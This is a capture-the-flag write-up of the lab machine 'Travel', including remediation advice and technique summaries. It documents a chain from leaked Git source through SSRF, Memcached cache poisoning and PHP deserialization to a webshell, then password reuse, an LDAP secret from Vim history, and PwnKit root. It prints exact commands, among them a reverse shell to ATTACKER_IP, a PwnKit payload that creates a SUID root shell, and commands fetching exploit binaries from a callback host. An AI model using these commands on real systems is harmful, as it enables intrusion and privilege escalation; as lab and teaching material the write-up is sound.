Travel
Summary
Target travel.htb (<retired-instance-ip>) was fully compromised through a five-stage chain. An exposed Git repository on a development virtual host leaked PHP source code for a WordPress RSS plugin, revealing a server-side request forgery (SSRF) that communicated with an unauthenticated internal Memcached instance. By poisoning the Memcached cache with a crafted serialized PHP object, I triggered unsafe deserialization on the server and wrote a webshell as the web process (www-data). A MySQL backup dump [REDACTED: recovered credential] under the web root contained a phpass-hashed password that was cracked offline in seconds and [REDACTED: recovered credential] verbatim for SSH access as local user lynik-admin, yielding the user flag. lynik-admin's home directory held an LDAP client config pointing to an internal directory server, and a Vim history file retained a deleted line with the plaintext LDAP bind password '[REDACTED: recovered credential]'. Although lynik-admin held LDAP write-administrator privileges sufficient to modify any directory user's attributes, an NSS resolution inconsistency blocked that escalation path. I instead exploited an unpatched SUID pkexec binary (PwnKit, CVE-2021-4034) to execute arbitrary code as root, captured the root flag, and achieved full system compromise.
Attack path — how the box was taken
Exact commands 4
nmap -Pn -sV -p22,80,443 $TARGETcurl -kv https://$TARGET/ 2>&1 | grep -i 'dns\|subject\|san\|alt'echo '$TARGET travel.htb www.travel.htb blog.travel.htb blog-dev.travel.htb' | sudo tee -a /etc/hostscurl -s -o /dev/null -w "%{http_code}\n" http://$TARGET/.git/HEADExact commands 2
git-dumper http://$TARGET/.git/ /tmp/travelgitgrep -rn 'custom_feed_url\|memcache\|unserialize\|TemplateHelper' /tmp/travelgit/FixBlock public HTTP access to .git directories on all web-facing serversHigh
Exact commands 3
python3 /tmp/pwn.pycurl -s 'http://$TARGET/wp-content/themes/twentytwenty/logs/ssh3ll.php?c=id'curl -s 'http://$TARGET/wp-content/themes/twentytwenty/logs/ssh3ll.php?c=bash+-c+"bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261"'FixRemove the server-side URL fetch (SSRF), bind Memcached to localhost only, and replace PHP object serialization with JSONCritical
Exact commands 5
curl -s 'http://$TARGET/wp-content/themes/twentytwenty/logs/ssh3ll.php?c=find+/var/www+-name+"*.sql"+2>/dev/null'grep -oP '\$P\$[A-Za-z0-9./]{31}' backup.sql > lynik.hashjohn --format=phpass lynik.hash --wordlist=/usr/share/wordlists/rockyou.txtssh lynik-admin@$TARGETcat ~/user.txtFixRemove credentials from database backups and store backups outside the web rootHigh
Exact commands 3
cat ~/.ldaprcgrep -i 'bindpw\|password\|road\|ldap' ~/.viminfoldapsearch -x -H ldap://$INTERNAL_TARGET -D 'cn=lynik-admin,dc=travel,dc=htb' -w '[REDACTED: recovered credential]' -b 'dc=travel,dc=htb' '(objectClass=*)' | head -80FixDisable Vim history persistence for server accounts and restrict LDAP bind account privileges to read-onlyHigh
Exact commands 5
ls -la /usr/bin/pkexeccat > /tmp/pkb/payload.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
void gconv(){}
void gconv_init(){
setgid(0); setuid(0);
execl("/bin/sh","sh","-c",
"cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash",
(char*)0);
exit(0);
}
EOF
gcc -shared -fPIC -fno-stack-protector -o /tmp/pkb/pwnkit.so /tmp/pkb/payload.cpython3 -m http.server 8080cd /tmp/pkb && wget http://$CALLBACK_HOST:8080/pwnkit.so && wget http://$CALLBACK_HOST:8080/cve-2021-4034 && chmod +x cve-2021-4034 && ./cve-2021-4034/tmp/rootbash -p -c 'id; cat /root/root.txt'FixPatch polkit / pkexec against CVE-2021-4034 (PwnKit)Critical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize user-controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.17.6 |
| 443/tcp | ssl/http nginx 1.17.6 |